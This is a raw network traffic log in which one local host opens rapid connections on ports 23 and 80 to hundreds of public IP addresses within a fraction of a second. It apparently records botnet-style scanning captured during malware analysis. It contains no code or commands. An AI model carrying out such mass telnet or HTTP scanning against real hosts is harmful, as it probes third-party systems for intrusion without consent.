Dec 3, 2024 23:16:42.627374887 CET	40596	80	192.168.2.23	153.225.1.88
Dec 3, 2024 23:16:42.627383947 CET	23	40602	173.204.151.242	192.168.2.23
Dec 3, 2024 23:16:42.627388000 CET	40602	23	192.168.2.23	9.121.207.243
Dec 3, 2024 23:16:42.627388000 CET	40596	80	192.168.2.23	169.27.242.212
Dec 3, 2024 23:16:42.627393007 CET	80	40596	94.186.97.21	192.168.2.23
Dec 3, 2024 23:16:42.627403021 CET	23	40602	25.179.171.46	192.168.2.23
Dec 3, 2024 23:16:42.627414942 CET	40602	23	192.168.2.23	173.204.151.242
Dec 3, 2024 23:16:42.627417088 CET	23	40602	179.232.48.223	192.168.2.23
Dec 3, 2024 23:16:42.627418041 CET	40602	23	192.168.2.23	163.159.64.220
Dec 3, 2024 23:16:42.627428055 CET	80	40596	39.55.72.170	192.168.2.23
Dec 3, 2024 23:16:42.627430916 CET	40596	80	192.168.2.23	94.186.97.21
Dec 3, 2024 23:16:42.627434969 CET	40602	23	192.168.2.23	25.179.171.46
Dec 3, 2024 23:16:42.627438068 CET	23	40602	72.159.226.97	192.168.2.23
Dec 3, 2024 23:16:42.627449036 CET	23	40602	147.103.182.52	192.168.2.23
Dec 3, 2024 23:16:42.627456903 CET	23	40602	174.77.173.148	192.168.2.23
Dec 3, 2024 23:16:42.627461910 CET	40596	80	192.168.2.23	39.55.72.170
Dec 3, 2024 23:16:42.627463102 CET	40602	23	192.168.2.23	179.232.48.223
Dec 3, 2024 23:16:42.627463102 CET	40602	23	192.168.2.23	72.159.226.97
Dec 3, 2024 23:16:42.627465963 CET	23	40602	80.135.151.66	192.168.2.23
Dec 3, 2024 23:16:42.627475977 CET	23	40602	44.44.5.47	192.168.2.23
Dec 3, 2024 23:16:42.627477884 CET	40602	23	192.168.2.23	147.103.182.52
Dec 3, 2024 23:16:42.627485037 CET	23	40602	141.34.188.61	192.168.2.23
Dec 3, 2024 23:16:42.627491951 CET	23	40602	122.234.25.73	192.168.2.23
Dec 3, 2024 23:16:42.627496004 CET	40602	23	192.168.2.23	80.135.151.66
Dec 3, 2024 23:16:42.627496004 CET	40602	23	192.168.2.23	44.44.5.47
Dec 3, 2024 23:16:42.627500057 CET	80	40596	77.39.145.72	192.168.2.23
Dec 3, 2024 23:16:42.627500057 CET	40602	23	192.168.2.23	174.77.173.148
Dec 3, 2024 23:16:42.627520084 CET	40602	23	192.168.2.23	141.34.188.61
Dec 3, 2024 23:16:42.627518892 CET	40602	23	192.168.2.23	122.234.25.73
Dec 3, 2024 23:16:42.627530098 CET	40596	80	192.168.2.23	77.39.145.72
Dec 3, 2024 23:16:42.627835035 CET	80	40596	134.141.243.44	192.168.2.23
Dec 3, 2024 23:16:42.627845049 CET	80	40596	218.46.158.116	192.168.2.23
Dec 3, 2024 23:16:42.627852917 CET	80	40596	216.179.96.159	192.168.2.23
Dec 3, 2024 23:16:42.627861023 CET	23	40602	74.236.254.201	192.168.2.23
Dec 3, 2024 23:16:42.627868891 CET	80	40596	165.96.142.51	192.168.2.23
Dec 3, 2024 23:16:42.627873898 CET	40596	80	192.168.2.23	218.46.158.116
Dec 3, 2024 23:16:42.627877951 CET	23	40602	8.161.17.103	192.168.2.23
Dec 3, 2024 23:16:42.627878904 CET	40596	80	192.168.2.23	134.141.243.44
Dec 3, 2024 23:16:42.627887964 CET	23	40602	114.129.138.165	192.168.2.23
Dec 3, 2024 23:16:42.627892017 CET	40596	80	192.168.2.23	165.96.142.51
Dec 3, 2024 23:16:42.627897024 CET	40596	80	192.168.2.23	216.179.96.159
Dec 3, 2024 23:16:42.627897978 CET	80	40596	57.134.162.129	192.168.2.23
Dec 3, 2024 23:16:42.627902031 CET	40602	23	192.168.2.23	74.236.254.201
Dec 3, 2024 23:16:42.627907991 CET	23	40602	139.244.56.199	192.168.2.23
Dec 3, 2024 23:16:42.627918005 CET	40602	23	192.168.2.23	114.129.138.165
Dec 3, 2024 23:16:42.627918005 CET	23	40602	68.207.66.174	192.168.2.23
Dec 3, 2024 23:16:42.627918959 CET	40602	23	192.168.2.23	8.161.17.103
Dec 3, 2024 23:16:42.627927065 CET	23	40602	177.81.192.107	192.168.2.23
Dec 3, 2024 23:16:42.627931118 CET	40596	80	192.168.2.23	57.134.162.129
Dec 3, 2024 23:16:42.627933979 CET	40602	23	192.168.2.23	139.244.56.199
Dec 3, 2024 23:16:42.627954960 CET	40602	23	192.168.2.23	68.207.66.174
Dec 3, 2024 23:16:42.627957106 CET	40602	23	192.168.2.23	177.81.192.107
Dec 3, 2024 23:16:42.628010988 CET	80	40596	53.120.215.228	192.168.2.23
Dec 3, 2024 23:16:42.628021002 CET	80	40596	157.154.85.114	192.168.2.23
Dec 3, 2024 23:16:42.628029108 CET	80	40596	63.84.126.71	192.168.2.23
Dec 3, 2024 23:16:42.628037930 CET	23	40602	135.233.130.219	192.168.2.23
Dec 3, 2024 23:16:42.628048897 CET	80	40596	24.85.183.249	192.168.2.23
Dec 3, 2024 23:16:42.628057003 CET	23	40602	132.148.208.58	192.168.2.23
Dec 3, 2024 23:16:42.628058910 CET	40596	80	192.168.2.23	63.84.126.71
Dec 3, 2024 23:16:42.628062010 CET	40596	80	192.168.2.23	157.154.85.114
Dec 3, 2024 23:16:42.628062963 CET	40596	80	192.168.2.23	53.120.215.228
Dec 3, 2024 23:16:42.628065109 CET	80	40596	177.100.61.5	192.168.2.23
Dec 3, 2024 23:16:42.628066063 CET	40602	23	192.168.2.23	135.233.130.219
Dec 3, 2024 23:16:42.628071070 CET	80	40596	197.164.38.138	192.168.2.23
Dec 3, 2024 23:16:42.628074884 CET	80	40596	69.237.90.138	192.168.2.23
Dec 3, 2024 23:16:42.628074884 CET	40596	80	192.168.2.23	24.85.183.249
Dec 3, 2024 23:16:42.628077984 CET	80	40596	85.62.74.36	192.168.2.23
Dec 3, 2024 23:16:42.628086090 CET	23	40602	107.187.170.181	192.168.2.23
Dec 3, 2024 23:16:42.628094912 CET	23	40602	194.163.169.201	192.168.2.23
Dec 3, 2024 23:16:42.628103971 CET	80	40596	70.129.94.136	192.168.2.23
Dec 3, 2024 23:16:42.628104925 CET	40596	80	192.168.2.23	85.62.74.36
Dec 3, 2024 23:16:42.628109932 CET	40602	23	192.168.2.23	132.148.208.58
Dec 3, 2024 23:16:42.628112078 CET	80	40596	190.68.115.31	192.168.2.23
Dec 3, 2024 23:16:42.628113031 CET	40596	80	192.168.2.23	69.237.90.138
Dec 3, 2024 23:16:42.628115892 CET	40596	80	192.168.2.23	197.164.38.138
Dec 3, 2024 23:16:42.628118992 CET	40596	80	192.168.2.23	177.100.61.5
Dec 3, 2024 23:16:42.628119946 CET	40602	23	192.168.2.23	107.187.170.181
Dec 3, 2024 23:16:42.628123045 CET	23	40602	206.140.82.226	192.168.2.23
Dec 3, 2024 23:16:42.628123999 CET	40602	23	192.168.2.23	194.163.169.201
Dec 3, 2024 23:16:42.628132105 CET	23	40602	60.114.98.253	192.168.2.23
Dec 3, 2024 23:16:42.628140926 CET	80	40596	152.182.17.113	192.168.2.23
Dec 3, 2024 23:16:42.628140926 CET	40596	80	192.168.2.23	70.129.94.136
Dec 3, 2024 23:16:42.628140926 CET	40596	80	192.168.2.23	190.68.115.31
Dec 3, 2024 23:16:42.628149986 CET	23	40602	66.237.54.21	192.168.2.23
Dec 3, 2024 23:16:42.628155947 CET	40602	23	192.168.2.23	206.140.82.226
Dec 3, 2024 23:16:42.628160000 CET	23	40602	162.31.175.56	192.168.2.23
Dec 3, 2024 23:16:42.628165007 CET	40602	23	192.168.2.23	60.114.98.253
Dec 3, 2024 23:16:42.628170967 CET	40596	80	192.168.2.23	152.182.17.113
Dec 3, 2024 23:16:42.628185987 CET	40602	23	192.168.2.23	66.237.54.21
Dec 3, 2024 23:16:42.628185987 CET	40602	23	192.168.2.23	162.31.175.56
Dec 3, 2024 23:16:42.628516912 CET	23	40602	97.74.109.230	192.168.2.23
Dec 3, 2024 23:16:42.628526926 CET	23	40602	18.213.140.151	192.168.2.23
Dec 3, 2024 23:16:42.628534079 CET	23	40602	133.111.116.237	192.168.2.23
Dec 3, 2024 23:16:42.628539085 CET	23	40602	139.160.214.253	192.168.2.23
Dec 3, 2024 23:16:42.628542900 CET	23	40602	25.229.16.149	192.168.2.23
Dec 3, 2024 23:16:42.628546953 CET	23	40602	71.151.162.45	192.168.2.23
Dec 3, 2024 23:16:42.628555059 CET	23	40602	73.89.203.207	192.168.2.23
Dec 3, 2024 23:16:42.628566027 CET	40602	23	192.168.2.23	97.74.109.230
Dec 3, 2024 23:16:42.628566027 CET	40602	23	192.168.2.23	139.160.214.253
Dec 3, 2024 23:16:42.628570080 CET	23	40602	180.208.30.6	192.168.2.23
Dec 3, 2024 23:16:42.628571033 CET	40602	23	192.168.2.23	18.213.140.151
Dec 3, 2024 23:16:42.628571033 CET	40602	23	192.168.2.23	25.229.16.149
Dec 3, 2024 23:16:42.628576040 CET	40602	23	192.168.2.23	71.151.162.45
Dec 3, 2024 23:16:42.628580093 CET	23	40602	108.196.138.51	192.168.2.23
Dec 3, 2024 23:16:42.628590107 CET	23	40602	175.234.16.68	192.168.2.23
Dec 3, 2024 23:16:42.628591061 CET	40602	23	192.168.2.23	133.111.116.237
Dec 3, 2024 23:16:42.628596067 CET	40602	23	192.168.2.23	73.89.203.207
Dec 3, 2024 23:16:42.628598928 CET	23	40602	91.124.0.53	192.168.2.23
Dec 3, 2024 23:16:42.628608942 CET	23	40602	80.136.58.192	192.168.2.23
Dec 3, 2024 23:16:42.628608942 CET	40602	23	192.168.2.23	108.196.138.51
Dec 3, 2024 23:16:42.628613949 CET	40602	23	192.168.2.23	180.208.30.6
Dec 3, 2024 23:16:42.628618002 CET	23	40602	179.208.101.111	192.168.2.23
Dec 3, 2024 23:16:42.628619909 CET	40602	23	192.168.2.23	175.234.16.68
Dec 3, 2024 23:16:42.628627062 CET	23	40602	65.124.103.106	192.168.2.23
Dec 3, 2024 23:16:42.628635883 CET	23	40602	60.217.73.254	192.168.2.23
Dec 3, 2024 23:16:42.628638983 CET	40602	23	192.168.2.23	91.124.0.53
Dec 3, 2024 23:16:42.628640890 CET	40602	23	192.168.2.23	80.136.58.192
Dec 3, 2024 23:16:42.628644943 CET	23	40602	212.250.174.137	192.168.2.23
Dec 3, 2024 23:16:42.628653049 CET	40602	23	192.168.2.23	179.208.101.111
Dec 3, 2024 23:16:42.628655910 CET	23	40602	217.51.187.197	192.168.2.23
Dec 3, 2024 23:16:42.628658056 CET	40602	23	192.168.2.23	65.124.103.106
Dec 3, 2024 23:16:42.628664017 CET	23	40602	151.229.11.47	192.168.2.23
Dec 3, 2024 23:16:42.628667116 CET	40602	23	192.168.2.23	60.217.73.254
Dec 3, 2024 23:16:42.628671885 CET	40602	23	192.168.2.23	212.250.174.137
Dec 3, 2024 23:16:42.628673077 CET	23	40602	120.89.224.201	192.168.2.23
Dec 3, 2024 23:16:42.628683090 CET	23	40602	199.141.200.51	192.168.2.23
Dec 3, 2024 23:16:42.628695965 CET	40602	23	192.168.2.23	217.51.187.197
Dec 3, 2024 23:16:42.628695965 CET	40602	23	192.168.2.23	151.229.11.47
Dec 3, 2024 23:16:42.628700018 CET	23	40602	12.124.241.72	192.168.2.23
Dec 3, 2024 23:16:42.628705978 CET	40602	23	192.168.2.23	120.89.224.201
Dec 3, 2024 23:16:42.628707886 CET	23	40602	111.41.167.142	192.168.2.23
Dec 3, 2024 23:16:42.628717899 CET	23	40602	97.215.234.91	192.168.2.23
Dec 3, 2024 23:16:42.628721952 CET	40602	23	192.168.2.23	199.141.200.51
Dec 3, 2024 23:16:42.628726006 CET	23	40602	129.0.57.59	192.168.2.23
Dec 3, 2024 23:16:42.628737926 CET	23	40602	84.18.112.6	192.168.2.23
Dec 3, 2024 23:16:42.628741026 CET	40602	23	192.168.2.23	111.41.167.142
Dec 3, 2024 23:16:42.628741980 CET	40602	23	192.168.2.23	12.124.241.72
Dec 3, 2024 23:16:42.628747940 CET	23	40602	66.2.191.161	192.168.2.23
Dec 3, 2024 23:16:42.628751993 CET	40602	23	192.168.2.23	97.215.234.91
Dec 3, 2024 23:16:42.628757954 CET	23	40602	17.197.158.152	192.168.2.23
Dec 3, 2024 23:16:42.628762007 CET	23	40602	125.233.143.203	192.168.2.23
Dec 3, 2024 23:16:42.628777027 CET	40602	23	192.168.2.23	129.0.57.59
Dec 3, 2024 23:16:42.628777981 CET	40602	23	192.168.2.23	84.18.112.6
Dec 3, 2024 23:16:42.628798962 CET	40602	23	192.168.2.23	17.197.158.152
Dec 3, 2024 23:16:42.628799915 CET	40602	23	192.168.2.23	125.233.143.203
Dec 3, 2024 23:16:42.628801107 CET	40602	23	192.168.2.23	66.2.191.161
Dec 3, 2024 23:16:42.629173994 CET	23	40602	89.5.254.100	192.168.2.23
Dec 3, 2024 23:16:42.629183054 CET	23	40602	144.8.140.64	192.168.2.23
Dec 3, 2024 23:16:42.629194975 CET	23	40602	198.103.93.50	192.168.2.23
Dec 3, 2024 23:16:42.629208088 CET	23	40602	137.98.7.93	192.168.2.23
Dec 3, 2024 23:16:42.629211903 CET	40602	23	192.168.2.23	89.5.254.100
Dec 3, 2024 23:16:42.629215956 CET	40602	23	192.168.2.23	144.8.140.64
Dec 3, 2024 23:16:42.629216909 CET	23	40602	42.245.13.48	192.168.2.23
Dec 3, 2024 23:16:42.629220963 CET	40602	23	192.168.2.23	198.103.93.50
Dec 3, 2024 23:16:42.629228115 CET	23	40602	120.7.250.82	192.168.2.23
Dec 3, 2024 23:16:42.629237890 CET	23	40602	46.235.5.90	192.168.2.23
Dec 3, 2024 23:16:42.629245996 CET	40602	23	192.168.2.23	137.98.7.93
Dec 3, 2024 23:16:42.629246950 CET	23	40602	19.193.70.149	192.168.2.23
Dec 3, 2024 23:16:42.629247904 CET	40602	23	192.168.2.23	42.245.13.48
Dec 3, 2024 23:16:42.629255056 CET	23	40602	81.159.91.60	192.168.2.23
Dec 3, 2024 23:16:42.629260063 CET	40602	23	192.168.2.23	120.7.250.82
Dec 3, 2024 23:16:42.629264116 CET	40602	23	192.168.2.23	46.235.5.90
Dec 3, 2024 23:16:42.629273891 CET	40602	23	192.168.2.23	19.193.70.149
Dec 3, 2024 23:16:42.629278898 CET	23	40602	70.36.37.43	192.168.2.23
Dec 3, 2024 23:16:42.629281998 CET	40602	23	192.168.2.23	81.159.91.60
Dec 3, 2024 23:16:42.629288912 CET	23	40602	153.217.48.115	192.168.2.23
Dec 3, 2024 23:16:42.629302979 CET	23	40602	89.143.126.99	192.168.2.23
Dec 3, 2024 23:16:42.629317999 CET	23	40602	219.54.55.120	192.168.2.23
Dec 3, 2024 23:16:42.629317999 CET	40602	23	192.168.2.23	70.36.37.43
Dec 3, 2024 23:16:42.629319906 CET	40602	23	192.168.2.23	153.217.48.115
Dec 3, 2024 23:16:42.629329920 CET	23	40602	210.202.2.42	192.168.2.23
Dec 3, 2024 23:16:42.629333019 CET	40602	23	192.168.2.23	89.143.126.99
Dec 3, 2024 23:16:42.629338026 CET	23	40602	120.20.158.242	192.168.2.23
Dec 3, 2024 23:16:42.629342079 CET	40602	23	192.168.2.23	219.54.55.120
Dec 3, 2024 23:16:42.629348040 CET	23	40602	128.202.179.123	192.168.2.23
Dec 3, 2024 23:16:42.629357100 CET	23	40602	107.163.55.161	192.168.2.23
Dec 3, 2024 23:16:42.629362106 CET	40602	23	192.168.2.23	210.202.2.42
Dec 3, 2024 23:16:42.629365921 CET	23	40602	169.195.77.143	192.168.2.23
Dec 3, 2024 23:16:42.629374981 CET	23	40602	63.47.235.6	192.168.2.23
Dec 3, 2024 23:16:42.629381895 CET	40602	23	192.168.2.23	128.202.179.123
Dec 3, 2024 23:16:42.629381895 CET	40602	23	192.168.2.23	107.163.55.161
Dec 3, 2024 23:16:42.629384041 CET	23	40602	216.6.148.251	192.168.2.23
Dec 3, 2024 23:16:42.629385948 CET	40602	23	192.168.2.23	120.20.158.242
Dec 3, 2024 23:16:42.629395008 CET	23	40602	155.0.116.148	192.168.2.23
Dec 3, 2024 23:16:42.629404068 CET	40602	23	192.168.2.23	169.195.77.143
Dec 3, 2024 23:16:42.629405022 CET	23	40602	164.204.93.88	192.168.2.23
Dec 3, 2024 23:16:42.629406929 CET	40602	23	192.168.2.23	63.47.235.6
Dec 3, 2024 23:16:42.629407883 CET	40602	23	192.168.2.23	216.6.148.251
Dec 3, 2024 23:16:42.629415035 CET	23	40602	180.65.65.109	192.168.2.23
Dec 3, 2024 23:16:42.629432917 CET	40602	23	192.168.2.23	155.0.116.148
Dec 3, 2024 23:16:42.629446983 CET	40602	23	192.168.2.23	164.204.93.88
Dec 3, 2024 23:16:42.629447937 CET	40602	23	192.168.2.23	180.65.65.109
Dec 3, 2024 23:16:42.629508018 CET	23	40602	50.171.11.253	192.168.2.23
Dec 3, 2024 23:16:42.629517078 CET	23	40602	38.65.69.236	192.168.2.23
Dec 3, 2024 23:16:42.629524946 CET	23	40602	165.137.23.37	192.168.2.23
Dec 3, 2024 23:16:42.629533052 CET	23	40602	9.55.226.44	192.168.2.23
Dec 3, 2024 23:16:42.629542112 CET	23	40602	194.158.18.22	192.168.2.23
Dec 3, 2024 23:16:42.629551888 CET	40602	23	192.168.2.23	38.65.69.236
Dec 3, 2024 23:16:42.629560947 CET	40602	23	192.168.2.23	50.171.11.253
Dec 3, 2024 23:16:42.629560947 CET	40602	23	192.168.2.23	165.137.23.37
Dec 3, 2024 23:16:42.629570007 CET	40602	23	192.168.2.23	9.55.226.44
Dec 3, 2024 23:16:42.629571915 CET	40602	23	192.168.2.23	194.158.18.22
Dec 3, 2024 23:16:42.629878044 CET	23	40602	98.157.96.182	192.168.2.23
Dec 3, 2024 23:16:42.629887104 CET	23	40602	78.60.48.178	192.168.2.23
Dec 3, 2024 23:16:42.629894972 CET	23	40602	50.213.213.7	192.168.2.23
Dec 3, 2024 23:16:42.629899025 CET	23	40602	200.22.125.190	192.168.2.23
Dec 3, 2024 23:16:42.629903078 CET	23	40602	45.153.103.129	192.168.2.23
Dec 3, 2024 23:16:42.629909992 CET	23	40602	134.19.58.196	192.168.2.23
Dec 3, 2024 23:16:42.629925013 CET	40602	23	192.168.2.23	98.157.96.182
Dec 3, 2024 23:16:42.629925966 CET	40602	23	192.168.2.23	50.213.213.7
Dec 3, 2024 23:16:42.629930019 CET	40602	23	192.168.2.23	200.22.125.190
Dec 3, 2024 23:16:42.629935026 CET	40602	23	192.168.2.23	45.153.103.129
Dec 3, 2024 23:16:42.629935026 CET	40602	23	192.168.2.23	134.19.58.196
Dec 3, 2024 23:16:42.629951000 CET	40602	23	192.168.2.23	78.60.48.178
Dec 3, 2024 23:16:42.630039930 CET	23	40602	191.170.50.247	192.168.2.23
Dec 3, 2024 23:16:42.630048990 CET	23	40602	190.38.104.4	192.168.2.23
Dec 3, 2024 23:16:42.630059004 CET	23	40602	203.39.220.59	192.168.2.23
Dec 3, 2024 23:16:42.630068064 CET	23	40602	211.110.41.156	192.168.2.23
Dec 3, 2024 23:16:42.630075932 CET	23	40602	199.113.138.86	192.168.2.23
Dec 3, 2024 23:16:42.630075932 CET	40602	23	192.168.2.23	191.170.50.247
Dec 3, 2024 23:16:42.630079985 CET	40602	23	192.168.2.23	203.39.220.59
Dec 3, 2024 23:16:42.630081892 CET	40602	23	192.168.2.23	190.38.104.4
Dec 3, 2024 23:16:42.630084991 CET	23	40602	187.1.145.215	192.168.2.23
Dec 3, 2024 23:16:42.630096912 CET	40602	23	192.168.2.23	211.110.41.156
Dec 3, 2024 23:16:42.630099058 CET	23	40602	114.53.76.72	192.168.2.23
Dec 3, 2024 23:16:42.630108118 CET	23	40602	212.143.234.182	192.168.2.23
Dec 3, 2024 23:16:42.630115032 CET	40602	23	192.168.2.23	199.113.138.86
Dec 3, 2024 23:16:42.630116940 CET	23	40602	74.211.153.144	192.168.2.23
Dec 3, 2024 23:16:42.630119085 CET	40602	23	192.168.2.23	187.1.145.215
Dec 3, 2024 23:16:42.630125046 CET	23	40602	34.126.213.246	192.168.2.23
Dec 3, 2024 23:16:42.630132914 CET	40602	23	192.168.2.23	114.53.76.72
Dec 3, 2024 23:16:42.630134106 CET	23	40602	205.159.25.23	192.168.2.23
Dec 3, 2024 23:16:42.630141973 CET	40602	23	192.168.2.23	212.143.234.182
Dec 3, 2024 23:16:42.630142927 CET	23	40602	97.55.40.222	192.168.2.23
Dec 3, 2024 23:16:42.630147934 CET	23	40602	23.109.41.155	192.168.2.23
Dec 3, 2024 23:16:42.630152941 CET	23	40602	162.141.222.208	192.168.2.23
Dec 3, 2024 23:16:42.630152941 CET	40602	23	192.168.2.23	74.211.153.144
Dec 3, 2024 23:16:42.630152941 CET	40602	23	192.168.2.23	34.126.213.246
Dec 3, 2024 23:16:42.630156994 CET	23	40602	112.78.163.196	192.168.2.23
Dec 3, 2024 23:16:42.630167961 CET	23	40602	69.30.177.138	192.168.2.23
Dec 3, 2024 23:16:42.630177975 CET	23	40602	76.61.74.246	192.168.2.23
Dec 3, 2024 23:16:42.630187035 CET	23	40602	101.245.125.140	192.168.2.23
Dec 3, 2024 23:16:42.630188942 CET	40602	23	192.168.2.23	162.141.222.208
Dec 3, 2024 23:16:42.630191088 CET	40602	23	192.168.2.23	97.55.40.222
Dec 3, 2024 23:16:42.630194902 CET	40602	23	192.168.2.23	23.109.41.155
Dec 3, 2024 23:16:42.630194902 CET	40602	23	192.168.2.23	112.78.163.196
Dec 3, 2024 23:16:42.630194902 CET	40602	23	192.168.2.23	69.30.177.138
Dec 3, 2024 23:16:42.630196095 CET	23	40602	107.127.185.24	192.168.2.23
Dec 3, 2024 23:16:42.630204916 CET	40602	23	192.168.2.23	76.61.74.246
Dec 3, 2024 23:16:42.630207062 CET	23	40602	174.5.106.133	192.168.2.23
Dec 3, 2024 23:16:42.630208015 CET	40602	23	192.168.2.23	205.159.25.23
Dec 3, 2024 23:16:42.630214930 CET	40602	23	192.168.2.23	101.245.125.140
Dec 3, 2024 23:16:42.630229950 CET	40602	23	192.168.2.23	107.127.185.24
Dec 3, 2024 23:16:42.630234003 CET	40602	23	192.168.2.23	174.5.106.133
Dec 3, 2024 23:16:42.630640984 CET	23	40602	150.162.236.128	192.168.2.23
Dec 3, 2024 23:16:42.630652905 CET	23	40602	154.254.180.75	192.168.2.23
Dec 3, 2024 23:16:42.630665064 CET	23	40602	200.39.158.210	192.168.2.23
Dec 3, 2024 23:16:42.630672932 CET	40602	23	192.168.2.23	150.162.236.128
Dec 3, 2024 23:16:42.630673885 CET	23	40602	87.35.161.15	192.168.2.23
Dec 3, 2024 23:16:42.630683899 CET	23	40602	68.65.145.61	192.168.2.23
Dec 3, 2024 23:16:42.630685091 CET	40602	23	192.168.2.23	154.254.180.75
Dec 3, 2024 23:16:42.630692959 CET	23	40602	179.32.218.87	192.168.2.23
Dec 3, 2024 23:16:42.630693913 CET	40602	23	192.168.2.23	200.39.158.210
Dec 3, 2024 23:16:42.630702019 CET	23	40602	141.237.115.93	192.168.2.23
Dec 3, 2024 23:16:42.630712032 CET	40602	23	192.168.2.23	87.35.161.15
Dec 3, 2024 23:16:42.630712986 CET	23	40602	169.7.25.233	192.168.2.23
Dec 3, 2024 23:16:42.630723000 CET	23	40602	156.208.229.99	192.168.2.23
Dec 3, 2024 23:16:42.630731106 CET	23	40602	160.203.51.24	192.168.2.23
Dec 3, 2024 23:16:42.630733013 CET	40602	23	192.168.2.23	68.65.145.61
Dec 3, 2024 23:16:42.630734921 CET	40602	23	192.168.2.23	179.32.218.87
Dec 3, 2024 23:16:42.630734921 CET	40602	23	192.168.2.23	141.237.115.93
Dec 3, 2024 23:16:42.630738974 CET	23	40602	109.23.33.179	192.168.2.23
Dec 3, 2024 23:16:42.630748987 CET	80	40596	73.95.38.216	192.168.2.23
Dec 3, 2024 23:16:42.630748987 CET	40602	23	192.168.2.23	169.7.25.233
Dec 3, 2024 23:16:42.630750895 CET	40602	23	192.168.2.23	156.208.229.99
Dec 3, 2024 23:16:42.630757093 CET	23	40602	14.150.222.114	192.168.2.23
Dec 3, 2024 23:16:42.630759954 CET	40602	23	192.168.2.23	160.203.51.24
Dec 3, 2024 23:16:42.630765915 CET	23	40602	142.60.52.127	192.168.2.23
Dec 3, 2024 23:16:42.630767107 CET	40602	23	192.168.2.23	109.23.33.179
Dec 3, 2024 23:16:42.630774975 CET	23	40602	208.249.13.228	192.168.2.23
Dec 3, 2024 23:16:42.630784035 CET	80	40596	128.80.192.96	192.168.2.23
Dec 3, 2024 23:16:42.630788088 CET	40596	80	192.168.2.23	73.95.38.216
Dec 3, 2024 23:16:42.630791903 CET	80	40596	211.22.55.52	192.168.2.23
Dec 3, 2024 23:16:42.630794048 CET	40602	23	192.168.2.23	142.60.52.127
Dec 3, 2024 23:16:42.630801916 CET	23	40602	218.59.214.203	192.168.2.23
Dec 3, 2024 23:16:42.630809069 CET	40602	23	192.168.2.23	208.249.13.228
Dec 3, 2024 23:16:42.630810976 CET	40596	80	192.168.2.23	128.80.192.96
Dec 3, 2024 23:16:42.630810976 CET	23	40602	169.105.121.188	192.168.2.23
Dec 3, 2024 23:16:42.630821943 CET	80	40596	70.77.10.206	192.168.2.23
Dec 3, 2024 23:16:42.630827904 CET	40602	23	192.168.2.23	14.150.222.114
Dec 3, 2024 23:16:42.630831003 CET	80	40596	176.66.51.0	192.168.2.23
Dec 3, 2024 23:16:42.630831003 CET	40602	23	192.168.2.23	218.59.214.203
Dec 3, 2024 23:16:42.630834103 CET	40596	80	192.168.2.23	211.22.55.52
Dec 3, 2024 23:16:42.630834103 CET	40602	23	192.168.2.23	169.105.121.188
Dec 3, 2024 23:16:42.630836964 CET	23	40602	23.204.24.90	192.168.2.23
Dec 3, 2024 23:16:42.630841017 CET	80	40596	135.215.88.179	192.168.2.23
Dec 3, 2024 23:16:42.630845070 CET	23	40602	114.152.198.152	192.168.2.23
Dec 3, 2024 23:16:42.630848885 CET	23	40602	84.91.112.53	192.168.2.23
Dec 3, 2024 23:16:42.630852938 CET	23	40602	147.241.71.158	192.168.2.23
Dec 3, 2024 23:16:42.630884886 CET	40596	80	192.168.2.23	70.77.10.206
Dec 3, 2024 23:16:42.630888939 CET	40596	80	192.168.2.23	176.66.51.0
Dec 3, 2024 23:16:42.630892992 CET	40602	23	192.168.2.23	114.152.198.152
Dec 3, 2024 23:16:42.630893946 CET	40602	23	192.168.2.23	147.241.71.158
Dec 3, 2024 23:16:42.630903006 CET	40602	23	192.168.2.23	84.91.112.53
Dec 3, 2024 23:16:42.630904913 CET	40602	23	192.168.2.23	23.204.24.90
Dec 3, 2024 23:16:42.630906105 CET	40596	80	192.168.2.23	135.215.88.179
Dec 3, 2024 23:16:42.631179094 CET	80	40596	114.174.231.220	192.168.2.23
Dec 3, 2024 23:16:42.631190062 CET	80	40596	171.75.38.225	192.168.2.23
Dec 3, 2024 23:16:42.631197929 CET	23	40602	23.47.246.222	192.168.2.23
Dec 3, 2024 23:16:42.631206036 CET	80	40596	123.244.117.42	192.168.2.23
Dec 3, 2024 23:16:42.631216049 CET	23	40602	52.226.213.155	192.168.2.23
Dec 3, 2024 23:16:42.631221056 CET	40596	80	192.168.2.23	114.174.231.220
Dec 3, 2024 23:16:42.631225109 CET	23	40602	197.83.158.159	192.168.2.23
Dec 3, 2024 23:16:42.631226063 CET	40596	80	192.168.2.23	171.75.38.225
Dec 3, 2024 23:16:42.631227016 CET	40602	23	192.168.2.23	23.47.246.222
Dec 3, 2024 23:16:42.631246090 CET	40596	80	192.168.2.23	123.244.117.42
Dec 3, 2024 23:16:42.631247044 CET	40602	23	192.168.2.23	52.226.213.155
Dec 3, 2024 23:16:42.631254911 CET	40602	23	192.168.2.23	197.83.158.159
Dec 3, 2024 23:16:42.631371975 CET	80	40596	36.185.126.147	192.168.2.23
Dec 3, 2024 23:16:42.631381035 CET	23	40602	136.111.60.169	192.168.2.23
Dec 3, 2024 23:16:42.631390095 CET	80	40596	150.189.139.251	192.168.2.23
Dec 3, 2024 23:16:42.631398916 CET	23	40602	117.213.130.111	192.168.2.23
Dec 3, 2024 23:16:42.631406069 CET	40596	80	192.168.2.23	36.185.126.147
Dec 3, 2024 23:16:42.631407976 CET	23	40602	163.150.135.141	192.168.2.23
Dec 3, 2024 23:16:42.631407976 CET	40602	23	192.168.2.23	136.111.60.169
Dec 3, 2024 23:16:42.631417036 CET	23	40602	69.62.205.245	192.168.2.23
Dec 3, 2024 23:16:42.631422043 CET	40596	80	192.168.2.23	150.189.139.251
Dec 3, 2024 23:16:42.631423950 CET	40602	23	192.168.2.23	117.213.130.111
Dec 3, 2024 23:16:42.631426096 CET	23	40602	178.28.194.245	192.168.2.23
Dec 3, 2024 23:16:42.631434917 CET	80	40596	146.245.235.71	192.168.2.23
Dec 3, 2024 23:16:42.631443977 CET	23	40602	37.175.254.53	192.168.2.23
Dec 3, 2024 23:16:42.631448984 CET	40602	23	192.168.2.23	69.62.205.245
Dec 3, 2024 23:16:42.631452084 CET	40602	23	192.168.2.23	163.150.135.141
Dec 3, 2024 23:16:42.631453037 CET	23	40602	211.247.153.64	192.168.2.23
Dec 3, 2024 23:16:42.631458998 CET	40602	23	192.168.2.23	178.28.194.245
Dec 3, 2024 23:16:42.631462097 CET	40596	80	192.168.2.23	146.245.235.71
Dec 3, 2024 23:16:42.631464005 CET	23	40602	42.47.146.160	192.168.2.23
Dec 3, 2024 23:16:42.631472111 CET	40602	23	192.168.2.23	37.175.254.53
Dec 3, 2024 23:16:42.631474018 CET	23	40602	135.168.72.89	192.168.2.23
Dec 3, 2024 23:16:42.631481886 CET	80	40596	126.238.239.180	192.168.2.23
